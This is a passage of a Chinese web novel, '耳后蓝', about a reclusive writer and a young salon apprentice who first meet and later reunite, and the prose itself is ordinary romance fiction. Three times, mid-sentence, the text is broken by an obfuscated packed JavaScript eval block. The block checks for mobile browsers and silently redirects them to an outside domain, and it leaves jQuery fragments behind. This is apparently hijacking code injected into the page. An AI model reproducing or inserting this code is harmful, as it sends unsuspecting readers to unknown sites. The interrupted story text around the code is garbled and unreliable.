《耳后蓝》 3. 姐姐 见陈微时只是看着自己不说话,眼前的女孩大概以为她不满自己的服务态度,笑意加深了几分,只是依旧不达眼底:“美女先来里面坐一下吧。” 她的笑容灿烂到过分,陈微时心里掠过一丝慌乱,垂下眼睫将伞放在旁边的伞架上,“嗯”了一声。 平时和陌生人打交道,她都会控制不住地慌乱,但面对这女孩,除了那种熟悉的恐惧感,还有一丝无以言表的陌生的感觉。 她把这归结于自己太久不出门不见人了。 女孩在前面带路,她默默跟在后面。 也许是犯了职业病,她忍不住抬头看着对方的背影。 女孩个子不算高,但长手长脚很显个头,穿了身泛白松垮的街头风破洞T恤牛仔裤,披着半长的发,是一种陈微时看不懂的发型,上面短,下面长,最长也不过肩膀,放在别人脑袋上这发型或许丑得出奇,但和这女孩却相得益彰,看上去还挺潮,有种颓废的美感。 “请坐。”女孩停住脚步,保持笑容指了指等待区的小沙发,“现在剪发和烫染都要稍等一下,没预约是吧?” 她说着,弯腰从柜子里拿出一个纸杯,拎起玻璃壶,给陈微时倒了杯免费的花茶。 因着俯身的动作,一枚银色十字架项链从她领口掉了出来,她单手塞回去,随后看向陈微时。 陈微时回过神来,轻轻摇头:“……没预约。” 女孩“哦”了一声,转身刚要走,一个染了黄头发的年轻男人就从里面走出来,没好气地对她嚷道:“哎,温旎你到底在干嘛!让你洗头洗哪去了?客人等你半天!真是的……” 温旎深呼吸了一下,尽可能平静地说道:“徐哥,刚才张哥叫我出来搬水,说让暖暖先替我洗来着。” “暖暖根本不在!”徐阳粗鲁地打断了她的话,“做事能不能仔细点?我是你师父还是张豪是你师父?” 旁边一排顾客纷纷侧目,陈微时也蹙起眉。 温旎那张灿烂的笑脸阴沉下去,但终究还是忍了下来,挤出一丝笑容:“……当然徐哥你是我师父。” 徐阳冷哼了一声,继续不留情面地嚷道:“还知道我是你师父呢?你整天拽什么,还敢偷起懒来了,你问问哪个不是从洗头开始做的,你还嫌烦?我带你我还没嫌烦呢!我告诉你,下次再——” “你好,我要剪头发,到底还要等多久呢?” 徐阳的话还没说完,就被一记轻柔甚至有些胆怯的女声打断了。他转头看到陈微时,怒火立刻收敛回去,皮笑肉不笑地招呼:“美女你好,有预约的发型师吗?” 陈微时直视着他,淡淡说道:“没预约,你可以给我剪吗?她说让我找你。” 她说着,指了指旁边的温旎。 温旎侧头看向她。 徐阳听了心情自然不错:“当然可以喽,这样,您先洗下头发。” 他说着横了旁边的温旎一眼,示意她赶紧带人进去。 温旎扯了扯嘴角,带陈微时去里面的洗发区。 陈微时坐下来,温旎绕到她身后,帮她把毛巾掖进衣领。 陈微时今天穿了件polo领修身长袖上衣,领口有些紧,女孩温热的指腹不时轻扫过她颈侧的敏感肌肤。 她置于身侧的手攥紧,下一秒天旋地转,女孩已经托着她紧绷的脖颈,把她平放在了水池边缘。 “水温可以吗?”女孩打开水龙头,捋着她的发丝问道。 陈微时垂着眼帘:“……可以。” 女孩柔软的指腹在她发间穿行,很快洗发液的馨香在她们之间弥散开来。 “刚才谢谢你哦。”温旎弯腰揉搓着她的发丝,语气很明显比方才她刚进门时热情了。 陈微时循着她的声音抬眼,正好撞进了那双亮晶晶的眼眸里,她也没想到温旎这个时候离她这么近,又立刻垂下眼帘,“……没事。” “哎,”女孩的声音更近了点,嗓音却也更压低了些,甚至给人一种亲热的错觉,“姐姐,你别找他剪了,让刘爽给你剪,店里技术最好的就是刘爽了,他俩一个价格。” 在这个潮湿的梅雨天,潮湿的水流溅落声中,女孩的气息也是潮湿的。 陈微时闭上眼睛,轻声说道:“……没关系的,他就可以。” 这是她人生第一次管别人闲事,既然管了,那就管到底吧。 若是她找别人剪,等她走后,这女孩准会挨骂。 “谢啦,姐姐。”女孩再次道谢,语气是和外表有点不符合的乖巧甜美,还有一丝很自然的亲近感。 但女孩的热情又点到为止,就事论事,像她洗头发的力度一样恰到好处,接下来也并没有再闲聊,只是时不时说一句“现在上护发精油”。 她洗得很仔细,十几分钟后才拧干陈微时的头发,用毛巾包好,扶她坐起来。 “姐姐,那我先忙去了哦。”送她在前面的空位上坐下,围好围罩,女孩看着镜子里的她,弯起嘴角说道。 陈微时很短暂地看了镜中的女孩一眼,“嗯”了一声。 镜子里,女孩又走去了门口,黄头发的“徐哥”正在收银台那里给人结账,看到女孩过去,眉毛立刻就竖了起来,一脸不耐烦地跟女孩说着什么。 女孩应了一句,转身开门迎接一位女顾客,脸上仍旧带着灿烂又不达眼底的笑意。 黄头发徐哥训了女孩几句,就过来给陈微时剪头发了。他穿着紧身白衬衫,最上面的三颗扣子都没系,捞起陈微时发丝的动作有些黏腻。 幸而陈微时对发型并没有什么要求,只需要整体修剪一下,不需要跟黄头发过多交流。 在前台付款时,陈微时回头看了一眼,视线范围内,并没有那个穿着松垮破洞T恤的身影。 她收回目光,拎起手提包,转身走进了茫茫雨雾中。 那就是她第一次见到温旎。 也许出门散散心是有用的,回到家后,她打开电脑面对文档,竟然难得有了下笔的欲望,先是写了两段以“江南梅雨天”为主题的段落练笔,又编纂出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519525|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个脑海中新浮现出的人物形象,一一记录下来。 那个女孩叫——wen,ni。 是“温”吗?那“ni”呢?三声,应该只有“旎”吧? 温,旎。 很好听的名字,莫名地很符合这个女孩。 听她口音,肯定不是苏城本地人,陈微时查了下各地口音,觉得她更像是江省那边的。 她这么年纪轻轻的,虽然穿衣风格很反叛,那张脸却分明稚气未脱,最多不过二十岁上下,为什么她没在学校里呢?是兼职,还是什么?…… 这还是第一次,她这么想具体了解一个陌生人。 陈微时很少出去实地采风,她的大部分社会经验都来自于书籍和影视,而她偏向于抽象思考的写作特点,也让她合理规避了社会经验不足带来的风险。 就像有文学评论家批评她的那样——“空有才华,却无人情。” 也许,她该多出去走走,多看看各种景、各种人吗? 曾经有人,包括许叶,这样建议过她,可她真的很恐惧去人多的地方,也不喜欢和人打交道。 她从小就是如此,别的小孩凑在一起玩耍时,她在看书,到了青春期,别的孩子一起叽叽喳喳聊八卦,她还是在看书。 再后来,她便开始写作,更加喜欢独处了。 她没有朋友,很长一段时间里,编辑许叶就是她除了父母以外,最亲近的人。 她也一直觉得,自己不需要朋友,更不需要深入了解任何现实生活中的人。 可现在,她对自己产生了怀疑。 就这样,她缓慢地做了几天的心理建设,终于还是决定为了继续写作,迈出艰难的第一步——时不时出去走走,哪怕只是在小区里转转。 幸好,她喜欢苏城的景致,此时正是人人讨厌的梅雨天,她可以趁着街上人不多出去散步。 于是,接下来的几天,她每天都会撑着那把浅绿色的雨伞,下楼走进弥漫无边的雨雾中。 有时是去附近的咖啡厅,有时是寻一处避雨的檐角,拿出包里的速写本,安静地画画。 这是一个普通的雨天,她从离小区不远的一家画室回来,天已经晚了,早就过了晚饭时间,“枕水居”本就幽静,此时四周更是寂寥无人。 陈微时打算从西门进去。 咖啡店,花店,五金店…… 前面应该是……理发店。 隔着几米远,她不自觉地看过去,一个身影意外闯入眼帘。 女孩两条胳膊搭在膝盖上,也不知道在店门口旁边蹲了多久,T恤都湿透了,半长碎发湿淋淋的,紧贴着头皮和脖颈,看起来狼狈极了。 是那个叫“温旎”的女孩。不知怎么,陈微时一眼就认了出来。 今年入梅早,此时也不过五月末,天还没那么热,这几天连续阴雨,更是凉风阵阵。 陈微时立刻走上前去,弯腰把伞打在女孩头上,都没来得及产生社交恐惧,话就已经出了口:“你这是怎么了?” 4. 委屈 女孩抬起头,那双原本亮晶晶的桃花眼此刻水雾弥漫,仿佛整座城市的雨雾都倒映在那里面。 身后有电动车经过,灯光在一刹那照亮了女孩的脸,陈微时看到了独属于少年人的倔强、愤怒、不甘,但更多的是迷茫。 ——她已经忘记了陈微时。 而素来脸盲的陈微时,竟然还记得她的模样。 “又和你师父吵架了吗?”陈微时依旧弯腰给她撑着伞,很有耐心地问道。 温旎闻言一怔,伸手抹了把脸,浓密长睫被雨珠黏成一簇簇,那么年轻和健康,却又显得那么脆弱。 她看着陈微时反应了好几秒钟,才露出一丝恍然神情:“是你啊姐姐?” 随即停顿一下,目光从陈微时脸上移开,没精打采地点头,“算是吵架吧。” 她脸上浮现出和年龄不符的疲惫和麻木。 陈微时沉默了几秒钟,从包里拿出纸巾递给她。 温旎道了句谢,随意擦了下脸,然后抬头跟陈微时说道:“姐姐,谢谢你,你快回家吧,我没事。” 陈微时有些犹豫,却突然感觉伞柄一沉,虎口处贴上了一片温热。 温旎起身挨着她手握住伞柄,把伞回正到她自己身上,弯起眉眼:“我真没事,姐姐,反正也不是一次两次。” 两个人的距离陡然拉近,温旎身上的温度传递过来。 也不知道在这儿淋了多久,再年轻也扛不住,陈微时能感觉到她在发抖。 “你不能一直淋着了,回家去吧。”她越是说没事,陈微时反而越不犹豫了,把手往下移了移,和温旎的手扯开距离,认真说道,“会感冒的。” 这样面对面站着,视线避无可避,陈微时只能平视她,这才发现她还是比自己高一些的。 “我住店楼上的宿舍。”温旎摇头,有些垂头丧气,“今天客人少,他们肯定都在客厅打牌,我不想回去。” 正说着,温旎微信就响了一声,她从口袋里拿出手机,并不避讳地在陈微时面前外放语音条,是一个女孩子的声音,对面有些嘈杂:“……温旎,你干脆就跟徐哥道个歉算了嘛,你也知道他那脾气,你浪费那么多染发剂,他肯定生气的嘛,又不是真的要赶你出去。” 温旎按住语音条回复:“我笑死,我凭啥道歉呐,再多染发剂也是店里的,不是他的,他凭什么用这个来骂我,还骂得那么难听?” 她语气和神情都有些令人心酸的搞笑。 陈微时在她收起手机、看过来之前,倏然收回了注视她的目光,垂着眼睫说道:“我家就在前面,要不要……去避避雨?” 从小到大,从成年到写作至今,陈微时并未邀请过任何一个同学或者好友来家里过。 更何况这样一个陌生人。 但此刻,她竟没意识到这一点。 她只知道,眼前的这个女孩无处可去。 当时,她没看温旎的表情,只记得温旎几秒钟后很爽快地说道:“姐姐,那就麻烦你了。” 后来温旎说,她也是人生中第一次,这么相信一个连名字都不知道的陌生人,只因为这个陌生人曾为她说过一句话。 当时陈微时感动于她们之间的默契。 现在想来…… 她真傻啊。 温旎说的每一句话,每一个字,她都那么当真,不管是好的,坏的,夸大其词的,口是心非的,语焉不详的,含糊其辞的,甚至是漏洞百出的。 其实后来仔细回想,温旎那些话又何曾高明到天衣无缝,只是她自己愿意相信而已。 而现在,她早就失去了探究温旎哪句话是真、哪句话是假的兴趣。 不过,温旎现在不应该出现在这里,不应该在做她那么讨厌的理发师,而是应该出现在某部电视剧里,某个片场里,又或者,在她梦寐以求的那个人身边。 然而,温旎该在哪里,不该在哪里,陈微时都已经不在乎了。这个人于她而言,已经成了茫茫陌生人中的一个,没有任何特殊之处。 时间就像所有人说的那样,让一切爱恨了无痕迹。 也因此,她并不会因为温旎的存在,就改变自己的任何行程。 风大了起来,雨丝斜飞刺在纱帘上,陈微时放下绵绵,关上窗子,把冰凉喧嚣的雨水都挡在了外面。 刚才和宋亦心在外面吃过饭了,她拿出药盒,取出两片用温水送服,然后披上一件柔软的薄开衫外套,拿起逗猫棒逗着绵绵玩。 绵绵是一只胖乎乎软绵绵的三花猫,左耳朵尖缺了一块,性格亲人,活泼好动。 它是陈微时前年春天在京城街道边捡的,当时它才个把月,陈微时喂给了它一个猫条,它便跟上了陈微时。 陈微时当时状态并不好,不打算养猫狗,便把它抱去了一家宠物寄养店,交给工作人员就离开了。 当时她已经要上车了,不知怎么突然想回头看一眼,这一回头,便看到初春的寒风中,那团向自己笨拙奔来的黄白色小毛球。 这命定般的一眼,让她冰封的心瞬间融化,从此她的身边有了陪伴。 在很久以前,她原本并非格外喜欢猫猫狗狗,至少,没有喜欢到想要养一只,她连自己都照顾不好,何谈养一只活生生的小动物呢。 是从什么时候呢? 大概,就是从认识温旎开始吧。 温旎喜欢毛茸茸的小动物,尤其是小猫。 每次刷短视频看到那些毛茸茸的小可爱,都会狂亲手机屏幕,说几百遍“好萌”。出门遇到了猫猫狗狗,也会驻足观赏,若是主人不介意,甚至还会直接上手抚摸。 但每次陈微时问她要不要养一只,她都说,算了。 有时候是说:我们现在都忙,没时间照顾它。 有时候是说:你又不喜欢猫,没必要。 后来陈微时才知道,这些都只是借口,真正的原因只是,她不想和陈微时一起养而已。 不过,那些都不重要了。 陈微时已经有了属于自己的绵绵。 她已经接受自己被温旎改变的那部分,这部分属于她自己,与任何人都无关。 休息了一天,陈微时的精神恢复了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519526|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少。 这一天的工作量稍轻松些,只有一个文学特刊的人物专访。 从报业大厦回来,陈微时让纪宁把车停在了小区东门,然后独自撑起伞,穿过“枕水居”特意设计的青石板路,慢慢往家里走去。 远远地,便看到单元门厅旁站着一个女人,她撑着一把浅绿色雨伞,脸被挡住了,只能看出穿了紧身T恤和破洞工装裤,露出来的手臂纤细紧实,手指修长。 陈微时猛地顿住脚步。 那柄雨伞……她太熟悉了。 那是她送给温旎的。那曾是她自己的伞。 之前有多少次,温旎都是这样撑着它,在这里等陈微时下楼。 时间过去了三年,它已然成为了旧物。 至于那人…… 连旧人都算不上了。 陈微时咬了咬唇,低下头,加快脚步,打算趁对方看不到自己,快速走过去。 然而就在她拉开玻璃门的那瞬间,身后就传来一声试探性的“姐姐?” 她动作顿了一下,仍旧装作没听到,打开门走进门厅,收了伞,从包里翻找着门禁卡,动作迅速得仿佛身后有鬼在追。 看着她急于躲避的背影,温旎只觉得喉咙发苦,眼眶发酸,脚步似有千斤重。 “能听我说句话吗?” 她嗓音已经褪去了那最后一点青涩,声线微沉,“我看到你的书上了热搜,恭喜你。” “还有……对不起。” 陈微时翻找着门禁卡,越急却越翻不到。 可听到身后人说到这三个字,她突然不着急了,干脆停下了动作,背对着对方,等着她把话说完。 对不起。 又是对不起。 她最讨厌听到这三个字。 她很少对别人说对不起,因为她很少对不起别人。 她最讨厌从温旎口中听到这三个字,然而温旎还是对她说了几百遍。 单元门厅里陷入几秒钟难堪的沉默,温旎垂着头,喉咙里似乎有千万句话,可又不知道从何说起。 她左手拿着伞,上面残留的雨水眼泪般滴落在她脚边。 “还有吗?”陈微时仍旧背对着她,不看她一眼,平静地说道,“我急着回家。” “姐姐……”身后的人听上去好委屈,是那种只有陈微时才能听出来的委屈,像是又回到了三年前,像是陈微时仍然必须保护和纵容她,“我是想跟你好好谈谈,你能回头看我一眼吗?” 陈微时攥紧门禁卡,转头看向她,秀眉微蹙,尽力维持着礼貌:“不好意思,我想,我和你没什么好谈的。” 她说这话既不是赌气,也不是怨恨,是真的和对方无话可说。 温旎的确变了很多,比之三年前成熟了,也瘦了许多,那双亮晶晶的桃花眼越发如醇酒般醉人。 如今再见,陈微时依然承认,这是一张非常矛盾非常漂亮的脸,曾经她吻过这张脸的每一处,她心疼这张脸传递出来的任何脆弱,她轻信这张脸流露出的每一个神情。 但这次,她不会再重蹈覆辙。 5.哭哭 时光在这个单元门厅里倒流三年,那把浅绿雨伞回到了陈微时手中。 她左手拿着伞,伞面上残留的雨水眼泪般滴落在她脚边。温旎走在前面,看到门厅里精致冰冷的门禁,略有些局促地回头看向她。 陈微时拿出门禁卡,没有迟疑地直接递给她:“在那里直接刷一下。” 温旎弯起湿漉漉的眼睛,也没有迟疑地接过门禁卡。 进去后,换成陈微时走在前面。 温旎跟着她,边打量着周围。 “枕水居”算是比较高档的小区,不光单元门厅有门禁,小区门口也管得很严,外人一般很难进来,在“上头事务所”打工这么久,她还从未进到这里面。 的确装修很好,而且不是那种土豪风,很低调的奢华,就像眼前这个女人一样,给人感觉很舒服。 电梯很新很干净,进去就只有她们两个人,内部有面顶天立地的大平面镜,清晰地映照出她们。 镜子里面的温旎湿淋淋的,在她自己眼里简直就是一只落汤鸡,和身上披着的陈微时的那件西装外套格格不入。 这外套又香又干净,料子柔软,只是款式稍微正式了些,像是出席什么重要会议才会穿的。 再看镜子里的陈微时,黑长发披肩,戴着无框眼镜,面容清秀文气,一副知识分子的模样,和她精神小妹的打扮形成鲜明对比。 电梯到了九楼停下,由于这栋主打小户型,旁边还有两户人家,但楼道非常宽阔干净。 陈微时按了指纹开门,侧身让温旎进来:“那双蓝色的拖鞋是新的,可以穿。” “哇,我刚好喜欢蓝色。”温旎吸了吸鼻子,弯了弯眼睛,把自己的板鞋脱了,换上拖鞋,“谢谢姐姐。” 她袜子都湿了,只得一并脱下来,放在鞋子上。 陈微时一进门便开了空调热风,热水器也打开了,然后递给温旎一条新毛巾、以及自己还没穿过的睡衣,习惯性地不喜与人对视,长睫垂落下去。 “那我去洗啦。”温旎接过毛巾和睡衣,乖巧地说道。 卫生间里响起哗啦啦的水声,陈微时这才回过神来——她竟然把只有一面之缘的陌生人带回了家。 并不是她有多警惕,而是单纯地不想邀请别人来家里。 可是,这个人是温旎,好像又没什么奇怪。 她对这女孩莫名信任。 温旎的确在外面冻坏了,把西装外套脱下来的一瞬间,不由得打了个哆嗦,可下一秒,又整个人被头顶吹出来的柔和热风包围,舒服了不少。 这卫生间不大,东西也不多,都很明显是女孩子的用品,和那件西装外套一样香香的。 花洒温柔均匀地喷出热水,不像她们店楼上的卫生间,喷头早坏了一半,水线喷出来都是歪歪扭扭的。 这里的一切都十分温暖舒适,驱散了她身上最后一缕寒意。 这让她稍微有些贪恋,洗澡的时间比平时多了五分钟,毕竟在店里宿舍那边,她洗澡向来都是不到十分钟解决。 换上睡衣出去,她便闻到了饭菜的香气。 转头看向餐厅,陈微时正在拿碗筷,低着头轻声说道:“我不会做饭,点的外卖,你不嫌弃的话,一起吃点吧。” 她说得客气,实际上桌上放着三菜一汤,有鱼有肉,一看就出自不错的餐馆。 到这个份上,饶是温旎平时自诩脸皮厚,也有点不好意思了:“姐姐,我不饿,你自己吃吧,等下我就回去了。” 陈微时摆筷子的动作顿了下,一直低垂的目光抬起,默默看向她。 温旎挠了挠吹得半干的碎发,终于还是笑了:“那……就谢谢姐姐啦。” “……没事。”陈微时低声说着,坐在了餐桌左侧,右侧留给了温旎。 既然人家是好意,温旎也很坦然地不再客气,坐下来吃得很香。 说不饿是假的,她下午一点多就和徐阳吵了起来,被折腾了七八个小时,饭也没顾得上吃。 陈微时吃饭很是文气,温旎都吃饱了,她好像才刚开始。 温旎吃完就看着她,这让她有些不自在,习惯性地收敛目光。 “姐姐,你是做什么工作的呀?”温旎好奇地打听道。 她知道住在这个小区里的都是有钱人,至少也不会没钱,眼前的女人虽然穿着简约,却也能看出平时养尊处优,大概家境也不错吧。 她作为一介贫民,对有钱人很好奇。 “是不是大学老师?”不等陈微时回答,温旎抢先猜道。 对于温旎来说,眼前的姐姐人挺好,就是有点过于正经无聊,和她印象中的大学老师不谋而合。 “我是……作家。”陈微时认真回答。 “哇哦,作家。”温旎表现得很夸张,那双黑白分明的眼眸更显晶亮,“是那种写书的作家吗?” 陈微时被她逗笑了,轻轻点头:“嗯……是。” “姐姐你好厉害。”温旎很自然地吹捧道,“作家哎。那,我可以看你写的书吗?” 被她那双亮晶晶的眼眸注视着,陈微时有些脸热,不好意思地垂下眼睫:“等下我给你找找。” ——好实在的一个姐姐。 温旎没想到有钱人会这么实在。 不过,看这姐姐的样子,大概也就是个小有钱人吧。 吃过饭,温旎帮忙收拾洗了碗筷,她动作很麻利,没一会儿就洗好了,显然是经常做家务的人。 陈微时有些紧张——她已经准备好了把《雾港》拿给温旎看,这对于她来说,是一个非常难得的决定。 她平时绝不会把书拿给任何无关的人看。 就在她思忖什么时候拿出来比较合适时,温旎却起身说道:“姐姐,打扰了你这么久,我该走了。” 其实陈微时想说,她并没有打扰到自己。 温旎急着要走,她竟然不自觉地有点失落:“可是……你现在回去,不会遇上你师父吗?” 一听到“师父”两个字,女孩的脸都垮了,跌坐在沙发上,头仰在沙发靠背上:“姐姐你是不知道,那个傻x连人都算不上,根本不配做我师父……” 陈微时不知道该怎么安慰她,只是默默听着,但温旎只说到这里,没有再继续说下去,只是又把笑容挂在了脸上,“哎呀,姐姐,不提他,提他就烦。这么晚了,我不能打扰你休息,该回去了。” 温旎说完,便去卫生间换好了衣服。她那身破洞T恤牛仔裤早就被陈微时洗好烘干,此时穿在她身上,散发出洗衣凝珠的香气。 “姐姐,真的谢谢你。” 她的感激那么坦诚,真心实意。 说实话,已经很久没人,或者说从来没人,对她这么好。 尤其是,陈微时只是一个陌生人,她都想不出为什么,陈微时对她这么好。 可能只是因为她运气好,只是因为陈微时是个好人。 “对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525173|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”温旎俯身过来,把手机伸到陈微时跟前,很坦率地说道,“姐姐,咱们加个微信吧。” 陈微时微愣,但还是把微信名片找了出来。 她注意到温旎手机是几年前的款式,但手机壳膜都很干净完整,虽旧也能看出主人的爱惜。 好友请求发送过来,验证消息写着“温旎”。 昵称叫“网恋被骗两百块”,头像是一片蓝天下绿草上奔跑的女孩背影,女孩穿着深红色皮衣头戴脏橙色帽子,踏着短靴,看上去手舞足蹈的,又酷又自由。 陈微时的微信就简单许多,就叫陈微时,头像是一只漂浮在水里的蓝色斗鱼。 “哇,姐姐,这是你真名吗?好好听啊。”温旎不吝夸奖,笑着念道,“陈,微,时。这名字怎么想的呀,真好听。就是怎么说,很有气质的感觉。” 她讲话有浓重的口音,那三个字绕在她唇齿间,听起来很特别。 “你的名字也好听。”陈微时很认真地柔声说道。 温旎笑了笑,把手机揣进裤子口袋里,又低头系上垃圾袋的绳子,提在手里:“那姐姐我就先走啦,谢谢你了哦。” “等一下。” 陈微时拿起门边的浅绿色雨伞递向她:“还在下雨。” 温旎看了眼窗外,弯起了眼睛:“真的哎。”她接过伞,“那我就先拿着啦?天晴了我就送回来。” “姐姐,再见哦。” ——直到温旎出门,陈微时也没找到合适的机会把书给她看,而且温旎也没再问起。 温旎一走,房间里又变得格外安静,甚至比之前陈微时一个人在家时更安静了。 陈微时打开电脑,想趁着洗澡之前的这么一小会儿时间,再写点东西,坐了好一阵却什么都没写出来。 她拿起手机,点开温旎的朋友圈。 温旎不像她一样设置了三天可见,而是所有的动态都可以查看。看得出是个很爱记录生活的人,喝杯奶茶会拍一下,遇到流浪猫狗也会拍一下,还有一些比较搞笑的自拍。 陈微时往下翻到四月九日的动态,那天是温旎的生日,视频里有几个朋友拿着小蛋糕给她唱生日快乐歌,没一个唱在调上的,氛围很欢快热闹。 “许愿许愿!”镜头对准了温旎,烛火映照着她那张年轻的脸,她双手交握在胸前,闭上眼睛,笑着大声说道,“新的一岁,我要开开心心,快快乐乐,发财暴富!” 在这些女孩子的欢呼声中,陈微时突然注意到,温旎穿的那件半旧的薄款棉袄,袖子破了。 不是破了一点点,而是破了好几个地方,应该是穿太久磨破的。 在她如此灿烂虔诚的笑脸下,在她对美好生活的殷切期盼中,她的衣袖是破的。 在朋友们的欢呼声中,温旎睁开眼睛,一口气吹灭了眼前的蜡烛,然后也举着手臂欢呼起来。 还没看完视频,温旎就发了消息过来:姐姐,我到宿舍了,没碰上那个傻x,我运气好吧? 陈微时一板一眼地回复:嗯,你运气很不错。 又隔了半个小时,温旎才又发来消息:姐姐,谢谢你今天请我吃饭。 然后是一个表情:土狗雨中淋雨.jpg 再然后是一个红包。 陈微时秀眉微蹙,指尖在屏幕上轻轻摩擦,打出两个字:不用。 温旎那边“输入中…”了几秒钟:哭哭.jpg 温旎:姐姐,你对我真好。 6.明媚 陈微时那边没再回复,温旎便切换了界面,继续和身在江城的好友王静然聊天。 王静然:你那个死师父换了没? 温旎:换个屁,他带了我之后,谁还愿意把我换过去。 王静然:那怎么办?他那么J,你不得被折磨死啊。 温旎:随便吧,能忍多少就忍多少,忍不了再说,反正现在也找不到工资更高的工作咯。 王静然:唉,你看开点吧,反正你外婆的病也好了,这就是最大的好事了,钱不钱的,以后还能赚。 温旎:嗯嗯,我知道,我现在已经不着急了,慢慢还吧。 耳边是其她三个室友的鼾声,狭窄的房间里有衣服长期晒不干的味道,手机莹莹的光芒照在温旎脸上。 温旎:我只是有点不甘心,我就不信我永远这么倒霉,坏事都发生在我身上。 温旎:不过今天我遇到好事了,今天我不是赌气不回去,蹲那里淋雨吗,一个姐姐让我去她家洗的澡,还请我吃饭来着。 王静然:哇,羡慕了,我怎么就遇不到这种莫名其妙请我吃饭的姐姐。 温旎:对啊,我终于遇到好人了。 王静然:那这个姐姐长得好不好看?你不是说你们拉圈人均恋姐嘛。 温旎:我说的是拉圈又不是说我,我可不恋姐。 温旎:你都扯哪去了?我都没往那个方向想。人家就是挺善良的一个姐姐。 王静然:说说咋啦?咋的,你恋妹,还想为江晓月守身如玉啊? 温旎:滚.jpg 温旎:别跟我提她了好吗呜呜呜。 王静然:好好好,不提了。反正苏城美女多,你谈一个也行啊。 温旎:不谈,封心锁爱了。 …… 聊着聊着就睡了过去。 第二天她醒来神清气爽,也没有感冒,可能是昨天那个舒服的热水澡的功劳,也可能是那顿饭的功劳。 每天这个时候她应该去下面学习了,可昨天才刚跟徐阳吵起来,学也是没法学了,只能窝在宿舍里等开业。 打了会儿游戏,刷了会儿跳舞视频,甚至都用小号偷窥过江晓月的动态了,她实在闲得发慌了。 之前忙得脚不沾地,做梦都想休息一天,现在好不容易“放”了半天假,她反而有点不习惯了。 其实她也不是什么混日子的人,之前在江城为了攒钱学跳舞,外卖都送过。虽然最终也没攒到什么钱。 漫无目的刷了会儿视频,手机有点发烫,她赶紧把短视频软件关了。 这下是真闲得发慌了。 她打开微信,随便瞄着各个群里的八卦,往下翻,就翻到了陈微时的聊天框。 无聊之下,她点开陈微时头像,看了眼对方的朋友圈。 设置了三天可见,只能看到一条前天的动态,拍的一张街景速写,还配了一段特别有文化的文案。 温旎兴味索然地退了出来。 她晕字,看不了一点。 突然想到那把伞还在自己这里,她便发了消息过去:姐姐,你什么时候有空,我把伞给你送回去。 陈微时那边很快就回复了:今天我一直在家。 温旎:那我二十分钟过去可以嘛。乖巧.jpg 陈微时:嗯,可以。 给了自己一个起床的理由,温旎便执行力很强地起来了。 几个室友也陆续起床。 除了陆笙那个家伙和温旎同龄,其他两位室友都比温旎大几岁,温旎平时都是一口一个姐地叫,从小她就做不到爱幼,但“尊老”做得特别好,嘴甜乖巧,姐姐阿姨都会很喜欢她。 所以在“上头事务所”打工这段时间,她和室友们关系都不错。 “起来了小温?”周倩坐在床上用抓夹盘头发,笑眯眯地看着她,颇有种看女儿的慈祥感,“看你头发乱得,赶紧夹一夹。” 温旎头发挺柔软的,可正是因为柔软,加上目前的发型比较碎,醒来容易蓬松过头,简称炸毛。 “早啊倩姐。”温旎拿起毛巾,笑眯眯地跟周倩打招呼,“知道啦,我会夹一下再出门的。” “省得徐阳又找你茬儿,说你发型不过关,砸店招牌什么的。”周倩气不过地说道,“他也是从学徒过来的,也就才正经剪头发两年,这就忘如本了!” 不管是第几次听到周倩说“忘如本”,温旎都会忍不住噗嗤一下笑出来。 周倩不怎么看短视频和直播,这句“忘如本”还是她教给周倩的。 这一学会不要紧,周倩就立刻运用在了各种场景里,温旎每次听到,都会被逗得大笑。 她的快乐特别简单——一块好吃的炸鸡,一杯难得没踩坑的饮料,一句搞笑的话,都足以让她哈哈大笑。 她脸很小,下颌线陡峭地延伸下来,最终汇聚于那窄而不尖的下巴,笑起来时眼睛弯弯的,亮得像月牙泉,略带英气的浓眉也舒展开,饱满唇瓣向两边扯开时嘴角会有小括号般的笑弧,牙齿整齐虎牙尖尖,可爱又富有感染力。 “面对你这张脸,他是怎么做到那么狠心的!”周倩痛心疾首,“以后我结婚,都想生个像你一样的女儿呢!” 不等温旎回答,陆笙就含着牙刷凑过来,含含糊糊地说道:“说起来这事儿不是要怪曹悦吗?温温当初就不该帮她!” “徐阳当时不止一次对她动手动脚的,要不是温温注意到了这件事,她早就不知道被徐阳占了多少便宜了!她倒好,恩将仇报,就为了自己弄个单间住,反过头去巴结徐阳!” 陆笙越说越气,“昨天竟然还当徐阳面给温温发消息,让温温道歉!这不就故意表现给徐阳看呢吗!把老娘气笑了都。当时也就是我不在,我在的话高低要刺她几句。这都什么人啊!” 温旎也生气,但她最生气的时候已经过了。 